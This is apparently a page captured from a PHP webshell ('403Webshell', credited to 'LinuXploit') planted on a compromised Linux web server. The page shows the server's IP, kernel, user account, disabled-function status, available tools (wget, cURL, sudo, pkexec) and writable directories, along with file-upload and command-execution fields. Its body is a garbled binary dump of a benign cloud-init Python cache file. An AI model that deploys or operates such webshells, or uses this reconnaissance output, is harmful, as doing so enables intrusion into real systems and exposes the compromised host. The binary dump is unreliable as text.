403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/config/__pycache__/cc_reset_rmc.cpython-36.pyc
3

��b��@s�dZddlZddlmZddlmZmZddlmZeZ	dZ
dZdZej
e�Zd	Zd
d�Zdd
�Zdd�Zdd�Zdd�Zdd�ZdS)a-
Reset RMC
------------
**Summary:** reset rsct node id

Reset RMC module is IBM PowerVM Hypervisor specific

Reliable Scalable Cluster Technology (RSCT) is a set of software components,
that  together provide a comprehensive clustering environment (RAS features)
for IBM PowerVM based virtual machines. RSCT includes the Resource monitoring
and control (RMC) subsystem. RMC is a generalized framework used for managing,
monitoring, and manipulating resources. RMC runs as a daemon process on
individual machines and needs creation of unique node id and restarts
during VM boot.
More details refer
https://www.ibm.com/support/knowledgecenter/en/SGVKBA_3.2/admin/bl503_ovrv.htm

This module handles
- creation of the unique RSCT node id to every instance/virtual machine
  and ensure once set, it isn't changed subsequently by cloud-init.
  In order to do so, it restarts RSCT service.

Prerequisite of using this module is to install RSCT packages.

**Internal name:** ``cc_reset_rmc``

**Module frequency:** per instance

**Supported distros:** rhel, sles and ubuntu

�N)�log)�subp�util)�PER_INSTANCEz/opt/rsct/install/bin�rmcctrlZrecfgctz/etc/ct_node_idcCsr|jjdkrtjd�dStjjt�s4tjd�dStjj	d�}zt
|�t�Wd|rd|tjd<ntjd=XdS)NZnonez(Skipping creation of new ct_node_id nodez&module disabled, RSCT_PATH not present�PATH)Z
datasourceZ
platform_type�LOG�debug�os�path�isdir�	RSCT_PATH�environ�get�add_path�	reset_rmc)�nameZ_cfgZcloudZ_logZ_args�	orig_path�r�"/usr/lib/python3.6/cc_reset_rmc.py�handle<s


rcCsLy"tjtg�d}tj|j��|Stjk
rFtjtd��YnXdS)Nrz*Failed to reconfigure the RSCT subsystems.)r�RECFGCTrr	�stripZProcessExecutionErrorr�logexc)�outrrr�reconfigure_rsct_subsystemsQsrcCsHytjt�}|jd�d}|Stk
rBtjtdt��YnXdS)N�
rz#Failed to get node ID from file %s.)rZ	load_file�NODE_ID_FILE�split�	Exceptionrr)�fpZnode_idrrr�get_node_id^s
r!cCs(|rd|nd}t|tjd<tjdS)N�:�r)r
r
r)rZsuffrrrrhsrcCs6ytjtdg�Stk
r0tjtd��YnXdS)Nz-zz!Failed to stop the RMC subsystem.)r�RMCCTRLrrrrrrrrrqs
cCs\tjd�t�}tjd|�t�t�t�}tjd|�||krXd}tj|�t|��dS)NzAttempting to reset RMC.z"Node ID at beginning of module: %szNode ID at end of module: %sz"New node ID did not get generated.)rr	r!rr�errorr)Znode_id_beforeZ
node_id_after�msgrrrr{s

r)�__doc__r
Z	cloudinitrZloggingrrZcloudinit.settingsrZ	frequencyr
r$rZ	getLogger�__name__rrrrr!rrrrrrr�<module>&s 


	

Youez - 2016 - github.com/yon3zu
LinuXploit